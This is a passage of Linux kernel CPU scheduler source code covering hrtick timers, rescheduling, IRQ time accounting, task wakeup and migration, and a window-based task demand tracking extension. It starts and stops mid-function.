delta = ktime_to_ns(ktime_sub(hard, soft));
raw_spin_lock(&rq->lock);
__hrtimer_start_range_ns(timer, soft, delta, HRTIMER_MODE_ABS, 0);
rq->hrtick_csd_pending = 0;
raw_spin_unlock(&rq->lock);
}
/*
* Called to set the hrtick timer state.
*
* called with rq->lock held and irqs disabled
*/
void hrtick_start(struct rq *rq, u64 delay)
{
struct hrtimer *timer = &rq->hrtick_timer;
ktime_t time = ktime_add_ns(timer->base->get_time(), delay);
hrtimer_set_expires(timer, time);
if (rq == this_rq()) {
__hrtimer_start_range_ns(timer, ns_to_ktime(delay), 0,
HRTIMER_MODE_REL_PINNED, 0);
} else if (!rq->hrtick_csd_pending) {
__smp_call_function_single(cpu_of(rq), &rq->hrtick_csd, 0);
rq->hrtick_csd_pending = 1;
}
}
static int
hotplug_hrtick(struct notifier_block *nfb, unsigned long action, void *hcpu)
{
int cpu = (int)(long)hcpu;
switch (action) {
case CPU_UP_CANCELED:
case CPU_UP_CANCELED_FROZEN:
case CPU_DOWN_PREPARE:
case CPU_DOWN_PREPARE_FROZEN:
case CPU_DEAD:
case CPU_DEAD_FROZEN:
hrtick_clear(cpu_rq(cpu));
return NOTIFY_OK;
}
return NOTIFY_DONE;
}
static __init void init_hrtick(void)
{
hotcpu_notifier(hotplug_hrtick, 0);
}
#else
/*
* Called to set the hrtick timer state.
*
* called with rq->lock held and irqs disabled
*/
void hrtick_start(struct rq *rq, u64 delay)
{
__hrtimer_start_range_ns(&rq->hrtick_timer, ns_to_ktime(delay), 0,
HRTIMER_MODE_REL_PINNED, 0);
}
static inline void init_hrtick(void)
{
}
#endif /* CONFIG_SMP */
static void init_rq_hrtick(struct rq *rq)
{
#ifdef CONFIG_SMP
rq->hrtick_csd_pending = 0;
rq->hrtick_csd.flags = 0;
rq->hrtick_csd.func = __hrtick_start;
rq->hrtick_csd.info = rq;
#endif
hrtimer_init(&rq->hrtick_timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
rq->hrtick_timer.function = hrtick;
}
#else /* CONFIG_SCHED_HRTICK */
static inline void hrtick_clear(struct rq *rq)
{
}
static inline void init_rq_hrtick(struct rq *rq)
{
}
static inline void init_hrtick(void)
{
}
#endif /* CONFIG_SCHED_HRTICK */
/*
* resched_task - mark a task 'to be rescheduled now'.
*
* On UP this means the setting of the need_resched flag, on SMP it
* might also involve a cross-CPU call to trigger the scheduler on
* the target CPU.
*/
#ifdef CONFIG_SMP
#ifndef tsk_is_polling
#define tsk_is_polling(t) test_tsk_thread_flag(t, TIF_POLLING_NRFLAG)
#endif
void resched_task(struct task_struct *p)
{
int cpu;
assert_raw_spin_locked(&task_rq(p)->lock);
if (test_tsk_need_resched(p))
return;
set_tsk_need_resched(p);
cpu = task_cpu(p);
if (cpu == smp_processor_id())
return;
/* NEED_RESCHED must be visible before we test polling */
smp_mb();
if (!tsk_is_polling(p))
smp_send_reschedule(cpu);
}
void resched_cpu(int cpu)
{
struct rq *rq = cpu_rq(cpu);
unsigned long flags;
if (!raw_spin_trylock_irqsave(&rq->lock, flags))
return;
resched_task(cpu_curr(cpu));
raw_spin_unlock_irqrestore(&rq->lock, flags);
}
#ifdef CONFIG_NO_HZ
/*
* In the semi idle case, use the nearest busy cpu for migrating timers
* from an idle cpu. This is good for power-savings.
*
* We don't do similar optimization for completely idle system, as
* selecting an idle cpu will add more delays to the timers than intended
* (as that cpu's timer base may not be uptodate wrt jiffies etc).
*/
int get_nohz_timer_target(void)
{
int cpu = smp_processor_id();
int i;
struct sched_domain *sd;
rcu_read_lock();
for_each_domain(cpu, sd) {
for_each_cpu(i, sched_domain_span(sd)) {
if (!idle_cpu(i)) {
cpu = i;
goto unlock;
}
}
}
unlock:
rcu_read_unlock();
return cpu;
}
/*
* When add_timer_on() enqueues a timer into the timer wheel of an
* idle CPU then this timer might expire before the next timer event
* which is scheduled to wake up that CPU. In case of a completely
* idle system the next event might even be infinite time into the
* future. wake_up_idle_cpu() ensures that the CPU is woken up and
* leaves the inner idle loop so the newly added timer is taken into
* account when the CPU goes back to idle and evaluates the timer
* wheel for the next timer event.
*/
void wake_up_idle_cpu(int cpu)
{
struct rq *rq = cpu_rq(cpu);
if (cpu == smp_processor_id())
return;
/*
* This is safe, as this function is called with the timer
* wheel base lock of (cpu) held. When the CPU is on the way
* to idle and has not yet set rq->curr to idle then it will
* be serialized on the timer wheel base lock and take the new
* timer into account automatically.
*/
if (rq->curr != rq->idle)
return;
/*
* We can set TIF_RESCHED on the idle task of the other CPU
* lockless. The worst case is that the other CPU runs the
* idle task through an additional NOOP schedule()
*/
set_tsk_need_resched(rq->idle);
/* NEED_RESCHED must be visible before we test polling */
smp_mb();
if (!tsk_is_polling(rq->idle))
smp_send_reschedule(cpu);
}
static inline bool got_nohz_idle_kick(void)
{
int cpu = smp_processor_id();
if (!test_bit(NOHZ_BALANCE_KICK, nohz_flags(cpu)))
return false;
if (idle_cpu(cpu) && !need_resched())
return true;
/*
* We can't run Idle Load Balance on this CPU for this time so we
* cancel it and clear NOHZ_BALANCE_KICK
*/
clear_bit(NOHZ_BALANCE_KICK, nohz_flags(cpu));
return false;
}
#else /* CONFIG_NO_HZ */
static inline bool got_nohz_idle_kick(void)
{
return false;
}
#endif /* CONFIG_NO_HZ */
void sched_avg_update(struct rq *rq)
{
s64 period = sched_avg_period();
while ((s64)(rq->clock - rq->age_stamp) > period) {
/*
* Inline assembly required to prevent the compiler
* optimising this loop into a divmod call.
* See __iter_div_u64_rem() for another example of this.
*/
asm("" : "+rm" (rq->age_stamp));
rq->age_stamp += period;
rq->rt_avg /= 2;
}
}
#else /* !CONFIG_SMP */
void resched_task(struct task_struct *p)
{
assert_raw_spin_locked(&task_rq(p)->lock);
set_tsk_need_resched(p);
}
#endif /* CONFIG_SMP */
#if defined(CONFIG_RT_GROUP_SCHED) || (defined(CONFIG_FAIR_GROUP_SCHED) && \
(defined(CONFIG_SMP) || defined(CONFIG_CFS_BANDWIDTH)))
/*
* Iterate task_group tree rooted at *from, calling @down when first entering a
* node and @up when leaving it for the final time.
*
* Caller must hold rcu_lock or sufficient equivalent.
*/
int walk_tg_tree_from(struct task_group *from,
tg_visitor down, tg_visitor up, void *data)
{
struct task_group *parent, *child;
int ret;
parent = from;
down:
ret = (*down)(parent, data);
if (ret)
goto out;
list_for_each_entry_rcu(child, &parent->children, siblings) {
parent = child;
goto down;
up:
continue;
}
ret = (*up)(parent, data);
if (ret || parent == from)
goto out;
child = parent;
parent = parent->parent;
if (parent)
goto up;
out:
return ret;
}
int tg_nop(struct task_group *tg, void *data)
{
return 0;
}
#endif
static void set_load_weight(struct task_struct *p)
{
int prio = p->static_prio - MAX_RT_PRIO;
struct load_weight *load = &p->se.load;
/*
* SCHED_IDLE tasks get minimal weight:
*/
if (p->policy == SCHED_IDLE) {
load->weight = scale_load(WEIGHT_IDLEPRIO);
load->inv_weight = WMULT_IDLEPRIO;
return;
}
load->weight = scale_load(prio_to_weight[prio]);
load->inv_weight = prio_to_wmult[prio];
}
static void enqueue_task(struct rq *rq, struct task_struct *p, int flags)
{
update_rq_clock(rq);
sched_info_queued(p);
p->sched_class->enqueue_task(rq, p, flags);
trace_sched_enq_deq_task(p, 1);
inc_cumulative_runnable_avg(rq, p);
}
static void dequeue_task(struct rq *rq, struct task_struct *p, int flags)
{
update_rq_clock(rq);
sched_info_dequeued(p);
p->sched_class->dequeue_task(rq, p, flags);
trace_sched_enq_deq_task(p, 0);
dec_cumulative_runnable_avg(rq, p);
}
void activate_task(struct rq *rq, struct task_struct *p, int flags)
{
if (task_contributes_to_load(p))
rq->nr_uninterruptible--;
enqueue_task(rq, p, flags);
}
void deactivate_task(struct rq *rq, struct task_struct *p, int flags)
{
if (task_contributes_to_load(p))
rq->nr_uninterruptible++;
dequeue_task(rq, p, flags);
}
#ifdef CONFIG_IRQ_TIME_ACCOUNTING
/*
* There are no locks covering percpu hardirq/softirq time.
* They are only modified in account_system_vtime, on corresponding CPU
* with interrupts disabled. So, writes are safe.
* They are read and saved off onto struct rq in update_rq_clock().
* This may result in other CPU reading this CPU's irq time and can
* race with irq/account_system_vtime on this CPU. We would either get old
* or new value with a side effect of accounting a slice of irq time to wrong
* task when irq is in progress while we read rq->clock. That is a worthy
* compromise in place of having locks on each irq in account_system_time.
*/
static DEFINE_PER_CPU(u64, cpu_hardirq_time);
static DEFINE_PER_CPU(u64, cpu_softirq_time);
static DEFINE_PER_CPU(u64, irq_start_time);
static int sched_clock_irqtime;
void enable_sched_clock_irqtime(void)
{
sched_clock_irqtime = 1;
}
void disable_sched_clock_irqtime(void)
{
sched_clock_irqtime = 0;
}
#ifndef CONFIG_64BIT
static DEFINE_PER_CPU(seqcount_t, irq_time_seq);
static inline void irq_time_write_begin(void)
{
__this_cpu_inc(irq_time_seq.sequence);
smp_wmb();
}
static inline void irq_time_write_end(void)
{
smp_wmb();
__this_cpu_inc(irq_time_seq.sequence);
}
static inline u64 irq_time_read(int cpu)
{
u64 irq_time;
unsigned seq;
do {
seq = read_seqcount_begin(&per_cpu(irq_time_seq, cpu));
irq_time = per_cpu(cpu_softirq_time, cpu) +
per_cpu(cpu_hardirq_time, cpu);
} while (read_seqcount_retry(&per_cpu(irq_time_seq, cpu), seq));
return irq_time;
}
#else /* CONFIG_64BIT */
static inline void irq_time_write_begin(void)
{
}
static inline void irq_time_write_end(void)
{
}
static inline u64 irq_time_read(int cpu)
{
return per_cpu(cpu_softirq_time, cpu) + per_cpu(cpu_hardirq_time, cpu);
}
#endif /* CONFIG_64BIT */
/*
* Called before incrementing preempt_count on {soft,}irq_enter
* and before decrementing preempt_count on {soft,}irq_exit.
*/
void account_system_vtime(struct task_struct *curr)
{
unsigned long flags;
s64 delta;
int cpu;
if (!sched_clock_irqtime)
return;
local_irq_save(flags);
cpu = smp_processor_id();
delta = sched_clock_cpu(cpu) - __this_cpu_read(irq_start_time);
__this_cpu_add(irq_start_time, delta);
irq_time_write_begin();
/*
* We do not account for softirq time from ksoftirqd here.
* We want to continue accounting softirq time to ksoftirqd thread
* in that case, so as not to confuse scheduler with a special task
* that do not consume any time, but still wants to run.
*/
if (hardirq_count())
__this_cpu_add(cpu_hardirq_time, delta);
else if (in_serving_softirq() && curr != this_cpu_ksoftirqd())
__this_cpu_add(cpu_softirq_time, delta);
irq_time_write_end();
local_irq_restore(flags);
}
EXPORT_SYMBOL_GPL(account_system_vtime);
#endif /* CONFIG_IRQ_TIME_ACCOUNTING */
#ifdef CONFIG_PARAVIRT
static inline u64 steal_ticks(u64 steal)
{
if (unlikely(steal > NSEC_PER_SEC))
return div_u64(steal, TICK_NSEC);
return __iter_div_u64_rem(steal, TICK_NSEC, &steal);
}
#endif
static void update_rq_clock_task(struct rq *rq, s64 delta)
{
/*
* In theory, the compile should just see 0 here, and optimize out the call
* to sched_rt_avg_update. But I don't trust it...
*/
#if defined(CONFIG_IRQ_TIME_ACCOUNTING) || defined(CONFIG_PARAVIRT_TIME_ACCOUNTING)
s64 steal = 0, irq_delta = 0;
#endif
#ifdef CONFIG_IRQ_TIME_ACCOUNTING
irq_delta = irq_time_read(cpu_of(rq)) - rq->prev_irq_time;
/*
* Since irq_time is only updated on {soft,}irq_exit, we might run into
* this case when a previous update_rq_clock() happened inside a
* {soft,}irq region.
*
* When this happens, we stop ->clock_task and only update the
* prev_irq_time stamp to account for the part that fit, so that a next
* update will consume the rest. This ensures ->clock_task is
* monotonic.
*
* It does however cause some slight miss-attribution of {soft,}irq
* time, a more accurate solution would be to update the irq_time using
* the current rq->clock timestamp, except that would require using
* atomic ops.
*/
if (irq_delta > delta)
irq_delta = delta;
rq->prev_irq_time += irq_delta;
delta -= irq_delta;
#endif
#ifdef CONFIG_PARAVIRT_TIME_ACCOUNTING
if (static_key_false((¶virt_steal_rq_enabled))) {
u64 st;
steal = paravirt_steal_clock(cpu_of(rq));
steal -= rq->prev_steal_time_rq;
if (unlikely(steal > delta))
steal = delta;
st = steal_ticks(steal);
steal = st * TICK_NSEC;
rq->prev_steal_time_rq += steal;
delta -= steal;
}
#endif
rq->clock_task += delta;
#if defined(CONFIG_IRQ_TIME_ACCOUNTING) || defined(CONFIG_PARAVIRT_TIME_ACCOUNTING)
if ((irq_delta + steal) && sched_feat(NONTASK_POWER))
sched_rt_avg_update(rq, irq_delta + steal);
#endif
}
#ifdef CONFIG_IRQ_TIME_ACCOUNTING
static int irqtime_account_hi_update(void)
{
u64 *cpustat = kcpustat_this_cpu->cpustat;
unsigned long flags;
u64 latest_ns;
int ret = 0;
local_irq_save(flags);
latest_ns = this_cpu_read(cpu_hardirq_time);
if (nsecs_to_cputime64(latest_ns) > cpustat[CPUTIME_IRQ])
ret = 1;
local_irq_restore(flags);
return ret;
}
static int irqtime_account_si_update(void)
{
u64 *cpustat = kcpustat_this_cpu->cpustat;
unsigned long flags;
u64 latest_ns;
int ret = 0;
local_irq_save(flags);
latest_ns = this_cpu_read(cpu_softirq_time);
if (nsecs_to_cputime64(latest_ns) > cpustat[CPUTIME_SOFTIRQ])
ret = 1;
local_irq_restore(flags);
return ret;
}
#else /* CONFIG_IRQ_TIME_ACCOUNTING */
#define sched_clock_irqtime (0)
#endif
void sched_set_stop_task(int cpu, struct task_struct *stop)
{
struct sched_param param = { .sched_priority = MAX_RT_PRIO - 1 };
struct task_struct *old_stop = cpu_rq(cpu)->stop;
if (stop) {
/*
* Make it appear like a SCHED_FIFO task, its something
* userspace knows about and won't get confused about.
*
* Also, it will make PI more or less work without too
* much confusion -- but then, stop work should not
* rely on PI working anyway.
*/
sched_setscheduler_nocheck(stop, SCHED_FIFO, ¶m);
stop->sched_class = &stop_sched_class;
}
cpu_rq(cpu)->stop = stop;
if (old_stop) {
/*
* Reset it back to a normal scheduling class so that
* it can die in pieces.
*/
old_stop->sched_class = &rt_sched_class;
}
}
/*
* __normal_prio - return the priority that is based on the static prio
*/
static inline int __normal_prio(struct task_struct *p)
{
return p->static_prio;
}
/*
* Calculate the expected normal priority: i.e. priority
* without taking RT-inheritance into account. Might be
* boosted by interactivity modifiers. Changes upon fork,
* setprio syscalls, and whenever the interactivity
* estimator recalculates.
*/
static inline int normal_prio(struct task_struct *p)
{
int prio;
if (task_has_rt_policy(p))
prio = MAX_RT_PRIO-1 - p->rt_priority;
else
prio = __normal_prio(p);
return prio;
}
/*
* Calculate the current priority, i.e. the priority
* taken into account by the scheduler. This value might
* be boosted by RT tasks, or might be boosted by
* interactivity modifiers. Will be RT if the task got
* RT-boosted. If not then it returns p->normal_prio.
*/
static int effective_prio(struct task_struct *p)
{
p->normal_prio = normal_prio(p);
/*
* If we are RT tasks or we were boosted to RT priority,
* keep the priority unchanged. Otherwise, update priority
* to the normal priority:
*/
if (!rt_prio(p->prio))
return p->normal_prio;
return p->prio;
}
/**
* task_curr - is this task currently executing on a CPU?
* @p: the task in question.
*/
inline int task_curr(const struct task_struct *p)
{
return cpu_curr(task_cpu(p)) == p;
}
static inline void check_class_changed(struct rq *rq, struct task_struct *p,
const struct sched_class *prev_class,
int oldprio)
{
if (prev_class != p->sched_class) {
if (prev_class->switched_from)
prev_class->switched_from(rq, p);
p->sched_class->switched_to(rq, p);
} else if (oldprio != p->prio)
p->sched_class->prio_changed(rq, p, oldprio);
}
void check_preempt_curr(struct rq *rq, struct task_struct *p, int flags)
{
const struct sched_class *class;
if (p->sched_class == rq->curr->sched_class) {
rq->curr->sched_class->check_preempt_curr(rq, p, flags);
} else {
for_each_class(class) {
if (class == rq->curr->sched_class)
break;
if (class == p->sched_class) {
resched_task(rq->curr);
break;
}
}
}
/*
* A queue event has occurred, and we're going to schedule. In
* this case, we can save a useless back to back clock update.
*/
if (rq->curr->on_rq && test_tsk_need_resched(rq->curr))
rq->skip_clock_update = 1;
}
static ATOMIC_NOTIFIER_HEAD(task_migration_notifier);
void register_task_migration_notifier(struct notifier_block *n)
{
atomic_notifier_chain_register(&task_migration_notifier, n);
}
#ifdef CONFIG_SMP
void set_task_cpu(struct task_struct *p, unsigned int new_cpu)
{
#ifdef CONFIG_SCHED_DEBUG
/*
* We should never call set_task_cpu() on a blocked task,
* ttwu() will sort out the placement.
*/
WARN_ON_ONCE(p->state != TASK_RUNNING && p->state != TASK_WAKING &&
!(task_thread_info(p)->preempt_count & PREEMPT_ACTIVE));
#ifdef CONFIG_LOCKDEP
/*
* The caller should hold either p->pi_lock or rq->lock, when changing
* a task's CPU. ->pi_lock for waking tasks, rq->lock for runnable tasks.
*
* sched_move_task() holds both and thus holding either pins the cgroup,
* see set_task_rq().
*
* Furthermore, all task_rq users should acquire both locks, see
* task_rq_lock().
*/
WARN_ON_ONCE(debug_locks && !(lockdep_is_held(&p->pi_lock) ||
lockdep_is_held(&task_rq(p)->lock)));
#endif
#endif
trace_sched_migrate_task(p, new_cpu);
if (task_cpu(p) != new_cpu) {
struct task_migration_notifier tmn;
if (p->sched_class->migrate_task_rq)
p->sched_class->migrate_task_rq(p, new_cpu);
p->se.nr_migrations++;
perf_sw_event(PERF_COUNT_SW_CPU_MIGRATIONS, 1, NULL, 0);
tmn.task = p;
tmn.from_cpu = task_cpu(p);
tmn.to_cpu = new_cpu;
atomic_notifier_call_chain(&task_migration_notifier, 0, &tmn);
}
__set_task_cpu(p, new_cpu);
}
struct migration_arg {
struct task_struct *task;
int dest_cpu;
};
static int migration_cpu_stop(void *data);
/*
* wait_task_inactive - wait for a thread to unschedule.
*
* If @match_state is nonzero, it's the @p->state value just checked and
* not expected to change. If it changes, i.e. @p might have woken up,
* then return zero. When we succeed in waiting for @p to be off its CPU,
* we return a positive number (its total switch count). If a second call
* a short while later returns the same number, the caller can be sure that
* @p has remained unscheduled the whole time.
*
* The caller must ensure that the task *will* unschedule sometime soon,
* else this function might spin for a *long* time. This function can't
* be called with interrupts off, or it may introduce deadlock with
* smp_call_function() if an IPI is sent by the same process we are
* waiting to become inactive.
*/
unsigned long wait_task_inactive(struct task_struct *p, long match_state)
{
unsigned long flags;
int running, on_rq;
unsigned long ncsw;
struct rq *rq;
for (;;) {
/*
* We do the initial early heuristics without holding
* any task-queue locks at all. We'll only try to get
* the runqueue lock when things look like they will
* work out!
*/
rq = task_rq(p);
/*
* If the task is actively running on another CPU
* still, just relax and busy-wait without holding
* any locks.
*
* NOTE! Since we don't hold any locks, it's not
* even sure that "rq" stays as the right runqueue!
* But we don't care, since "task_running()" will
* return false if the runqueue has changed and p
* is actually now running somewhere else!
*/
while (task_running(rq, p)) {
if (match_state && unlikely(p->state != match_state))
return 0;
cpu_relax();
}
/*
* Ok, time to look more closely! We need the rq
* lock now, to be *sure*. If we're wrong, we'll
* just go back and repeat.
*/
rq = task_rq_lock(p, &flags);
trace_sched_wait_task(p);
running = task_running(rq, p);
on_rq = p->on_rq;
ncsw = 0;
if (!match_state || p->state == match_state)
ncsw = p->nvcsw | LONG_MIN; /* sets MSB */
task_rq_unlock(rq, p, &flags);
/*
* If it changed from the expected state, bail out now.
*/
if (unlikely(!ncsw))
break;
/*
* Was it really running after all now that we
* checked with the proper locks actually held?
*
* Oops. Go back and try again..
*/
if (unlikely(running)) {
cpu_relax();
continue;
}
/*
* It's not enough that it's not actively running,
* it must be off the runqueue _entirely_, and not
* preempted!
*
* So if it was still runnable (but just not actively
* running right now), it's preempted, and we should
* yield - it could be a while.
*/
if (unlikely(on_rq)) {
ktime_t to = ktime_set(0, NSEC_PER_MSEC);
set_current_state(TASK_UNINTERRUPTIBLE);
schedule_hrtimeout(&to, HRTIMER_MODE_REL);
continue;
}
/*
* Ahh, all good. It wasn't running, and it wasn't
* runnable, which means that it will never become
* running in the future either. We're all done!
*/
break;
}
return ncsw;
}
/***
* kick_process - kick a running thread to enter/exit the kernel
* @p: the to-be-kicked thread
*
* Cause a process which is running on another CPU to enter
* kernel-mode, without any delay. (to get signals handled.)
*
* NOTE: this function doesn't have to take the runqueue lock,
* because all it wants to ensure is that the remote task enters
* the kernel. If the IPI races and the task has been migrated
* to another CPU then no harm is done and the purpose has been
* achieved as well.
*/
void kick_process(struct task_struct *p)
{
int cpu;
preempt_disable();
cpu = task_cpu(p);
if ((cpu != smp_processor_id()) && task_curr(p))
smp_send_reschedule(cpu);
preempt_enable();
}
EXPORT_SYMBOL_GPL(kick_process);
#endif /* CONFIG_SMP */
#ifdef CONFIG_SMP
/*
* ->cpus_allowed is protected by both rq->lock and p->pi_lock
*/
static int select_fallback_rq(int cpu, struct task_struct *p)
{
int nid = cpu_to_node(cpu);
const struct cpumask *nodemask = NULL;
enum { cpuset, possible, fail } state = cpuset;
int dest_cpu;
/*
* If the node that the cpu is on has been offlined, cpu_to_node()
* will return -1. There is no cpu on the node, and we should
* select the cpu on the other node.
*/
if (nid != -1) {
nodemask = cpumask_of_node(nid);
/* Look for allowed, online CPU in same node. */
for_each_cpu(dest_cpu, nodemask) {
if (!cpu_online(dest_cpu))
continue;
if (!cpu_active(dest_cpu))
continue;
if (cpumask_test_cpu(dest_cpu, tsk_cpus_allowed(p)))
return dest_cpu;
}
}
for (;;) {
/* Any allowed, online CPU? */
for_each_cpu(dest_cpu, tsk_cpus_allowed(p)) {
if (!cpu_online(dest_cpu))
continue;
if (!cpu_active(dest_cpu))
continue;
goto out;
}
switch (state) {
case cpuset:
/* No more Mr. Nice Guy. */
cpuset_cpus_allowed_fallback(p);
state = possible;
break;
case possible:
do_set_cpus_allowed(p, cpu_possible_mask);
state = fail;
break;
case fail:
BUG();
break;
}
}
out:
if (state != cpuset) {
/*
* Don't tell them about moving exiting tasks or
* kernel threads (both mm NULL), since they never
* leave kernel.
*/
if (p->mm && printk_ratelimit()) {
printk_deferred("process %d (%s) no longer affine to cpu%d\n",
task_pid_nr(p), p->comm, cpu);
}
}
return dest_cpu;
}
/*
* The caller (fork, wakeup) owns p->pi_lock, ->cpus_allowed is stable.
*/
static inline
int select_task_rq(struct task_struct *p, int sd_flags, int wake_flags)
{
int cpu = p->sched_class->select_task_rq(p, sd_flags, wake_flags);
/*
* In order not to call set_task_cpu() on a blocking task we need
* to rely on ttwu() to place the task on a valid ->cpus_allowed
* cpu.
*
* Since this is common to all placement strategies, this lives here.
*
* [ this allows ->select_task() to simply return task_cpu(p) and
* not worry about this generic constraint ]
*/
if (unlikely(!cpumask_test_cpu(cpu, tsk_cpus_allowed(p)) ||
!cpu_online(cpu)))
cpu = select_fallback_rq(task_cpu(p), p);
return cpu;
}
static void update_avg(u64 *avg, u64 sample)
{
s64 diff = sample - *avg;
*avg += diff >> 3;
}
#endif
static void
ttwu_stat(struct task_struct *p, int cpu, int wake_flags)
{
#ifdef CONFIG_SCHEDSTATS
struct rq *rq = this_rq();
#ifdef CONFIG_SMP
int this_cpu = smp_processor_id();
if (cpu == this_cpu) {
schedstat_inc(rq, ttwu_local);
schedstat_inc(p, se.statistics.nr_wakeups_local);
} else {
struct sched_domain *sd;
schedstat_inc(p, se.statistics.nr_wakeups_remote);
rcu_read_lock();
for_each_domain(this_cpu, sd) {
if (cpumask_test_cpu(cpu, sched_domain_span(sd))) {
schedstat_inc(sd, ttwu_wake_remote);
break;
}
}
rcu_read_unlock();
}
if (wake_flags & WF_MIGRATED)
schedstat_inc(p, se.statistics.nr_wakeups_migrate);
#endif /* CONFIG_SMP */
schedstat_inc(rq, ttwu_count);
schedstat_inc(p, se.statistics.nr_wakeups);
if (wake_flags & WF_SYNC)
schedstat_inc(p, se.statistics.nr_wakeups_sync);
#endif /* CONFIG_SCHEDSTATS */
}
static void ttwu_activate(struct rq *rq, struct task_struct *p, int en_flags)
{
activate_task(rq, p, en_flags);
p->on_rq = 1;
/* if a worker is waking up, notify workqueue */
if (p->flags & PF_WQ_WORKER)
wq_worker_waking_up(p, cpu_of(rq));
}
/* Window size (in ns) */
__read_mostly unsigned int sched_ravg_window = 10000000;
/* Min window size (in ns) = 10ms */
__read_mostly unsigned int min_sched_ravg_window = 10000000;
/* Max window size (in ns) = 1s */
__read_mostly unsigned int max_sched_ravg_window = 1000000000;
/*
* Called when new window is starting for a task, to record cpu usage over
* recently concluded window(s). Normally 'samples' should be 1. It can be > 1
* when, say, a real-time task runs without preemption for several windows at a
* stretch.
*/
static inline void
update_history(struct rq *rq, struct task_struct *p, u32 runtime, int samples)
{
u32 *hist = &p->ravg.sum_history[0];
int ridx, widx;
u32 sum = 0, avg;
/* Ignore windows where task had no activity */
if (!runtime)
return;
/* Push new 'runtime' value onto stack */
widx = RAVG_HIST_SIZE - 1;
ridx = widx - samples;
for (; ridx >= 0; --widx, --ridx) {
hist[widx] = hist[ridx];
sum += hist[widx];
}
for (widx = 0; widx < samples && widx < RAVG_HIST_SIZE; widx++) {
hist[widx] = runtime;
sum += hist[widx];
}
p->ravg.sum = 0;
if (p->on_rq) {
rq->cumulative_runnable_avg -= p->ravg.demand;
BUG_ON((s64)rq->cumulative_runnable_avg < 0);
}
avg = sum / RAVG_HIST_SIZE;
p->ravg.demand = max(avg, runtime);
if (p->on_rq)
rq->cumulative_runnable_avg += p->ravg.demand;
}
static int __init set_sched_ravg_window(char *str)
{
get_option(&str, &sched_ravg_window);
return 0;
}
early_param("sched_ravg_window", set_sched_ravg_window);
void update_task_ravg(struct task_struct *p, struct rq *rq, int update_sum)
{
u32 window_size = sched_ravg_window;
int new_window;
u64 wallclock = sched_clock();
if (is_idle_task(p) || (sched_ravg_window < min_sched_ravg_window))
return;
do {
s64 delta = 0;
int n;
u64 now = wallclock;
new_window = 0;
delta = now - p->ravg.window_start;
BUG_ON(delta < 0);
if (delta > window_size) {
p->ravg.window_start += window_size;
now = p->ravg.window_start;
new_window = 1;
}
if (update_sum) {
unsigned int cur_freq = rq->cur_freq;
delta = now - p->ravg.mark_start;
BUG_ON(delta < 0);
if (unlikely(cur_freq > max_possible_freq))
cur_freq = max_possible_freq;
delta = div64_u64(delta * cur_freq,
max_possible_freq);
p->ravg.sum += delta;
WARN_ON(p->ravg.sum > window_size);
}
if (!new_window)
break;
update_history(rq, p, p->ravg.sum, 1);
delta = wallclock - p->ravg.window_start;
BUG_ON(delta < 0);
n = div64_u64(delta, window_size);
if (n) {
if (!update_sum)
p->ravg.window_start = wallclock;
else
p->ravg.window_start += (u64)n *
(u64)window_size;
BUG_ON(p->ravg.window_start > wallclock);
if (update_sum)
update_history(rq, p, window_size, n);
}
p->ravg.mark_start = p->ravg.window_start;
} while (new_window);
p->ravg.mark_start = wallclock;
}
/*
* Mark the task runnable and perform wakeup-preemption.
*/
static void
ttwu_do_wakeup(struct rq *rq, struct task_struct *p, int wake_flags)
{
trace_sched_wakeup(p, true);
check_preempt_curr(rq, p, wake_flags);
update_task_ravg(p, rq, 0);
p->state = TASK_RUNNING;
#ifdef CONFIG_SMP
if (p->sched_class->task_woken)
p->sched_class->task_woken(rq, p);
if (rq->idle_stamp) {
u64 delta = rq->clock - rq->idle_stamp;
u64 max = 2*sysctl_sched_migration_cost;
if (delta > max)
rq->avg_idle = max;
else
update_avg(&rq->avg_idle, delta);
rq->idle_stamp = 0;
}
#endif
}
static void
ttwu_do_activate(struct rq *rq, struct task_struct *p, int wake_flags)
{
#ifdef CONFIG_SMP
if (p->sched_contributes_to_load)
rq->nr_uninterruptible--;
#endif
ttwu_activate(rq, p, ENQUEUE_WAKEUP | ENQUEUE_WAKING);
ttwu_do_wakeup(rq, p, wake_flags);
}
/*
* Called in case the task @p isn't fully descheduled from its runqueue,
* in this case we must do a remote wakeup. Its a 'light' wakeup though,
* since all we need to do is flip p->state to TASK_RUNNING, since
* the task is still ->on_rq.
*/
static int ttwu_remote(struct task_struct *p, int wake_flags)
{
struct rq *rq;
int ret = 0;
rq = __task_rq_lock(p);
if (p->on_rq) {
ttwu_do_wakeup(rq, p, wake_flags);
ret = 1;
}
__task_rq_unlock(rq);
return ret;
}
#ifdef CONFIG_SMP
static void sched_ttwu_pending(void)
{
struct rq *rq = this_rq();
struct llist_node *llist = llist_del_all(&rq->wake_list);
struct task_struct *p;
raw_spin_lock(&rq->lock);
while (llist) {
p = llist_entry(llist, struct task_struct, wake_entry);
llist = llist_next(llist);
ttwu_do_activate(rq, p, 0);
}
raw_spin_unlock(&rq->lock);
}
void scheduler_ipi(void)
{
if (llist_empty(&this_rq()->wake_list) && !got_nohz_idle_kick())
return;
/*
* Not all reschedule IPI handlers call irq_enter/irq_exit, since
* traditionally all their work was done from the interrupt return
* path. Now that we actually do some work, we need to make sure
* we do call them.
*
* Some archs already do call them, luckily irq_enter/exit nest
* properly.
*
* Arguably we should visit all archs and update all handlers,
* however a fair share of IPIs are still resched only so this would
* somewhat pessimize the simple resched case.
*/
irq_enter();
sched_ttwu_pending();
/*
* Check if someone kicked us for doing the nohz idle load balance.
*/
if (unlikely(got_nohz_idle_kick())) {
this_rq()->idle_balance = 1;
raise_softirq_irqoff(SCHED_SOFTIRQ);
}
irq_exit();
}
static void ttwu_queue_remote(struct task_struct *p, int cpu)
{
if (llist_add(&p->wake_entry, &cpu_rq(cpu)->wake_list))
smp_send_reschedule(cpu);
}
bool cpus_share_cache(int this_cpu, int that_cpu)
{
return per_cpu(sd_llc_id, this_cpu) == per_cpu(sd_llc_id, that_cpu);
}
#endif /* CONFIG_SMP */
static void ttwu_queue(struct task_struct *p, int cpu)
{
struct rq *rq = cpu_rq(cpu);
#if defined(CONFIG_SMP)
if (sched_feat(TTWU_QUEUE) && !cpus_share_cache(smp_processor_id(), cpu)) {
sched_clock_cpu(cpu); /* sync clocks x-cpu */
ttwu_queue_remote(p, cpu);
return;
}
#endif
raw_spin_lock(&rq->lock);
ttwu_do_activate(rq, p, 0);
raw_spin_unlock(&rq->lock);
}
__read_mostly unsigned int sysctl_sched_wakeup_load_threshold = 110;
/**
* try_to_wake_up - wake up a thread
* @p: the thread to be awakened
* @state: the mask of task states that can be woken
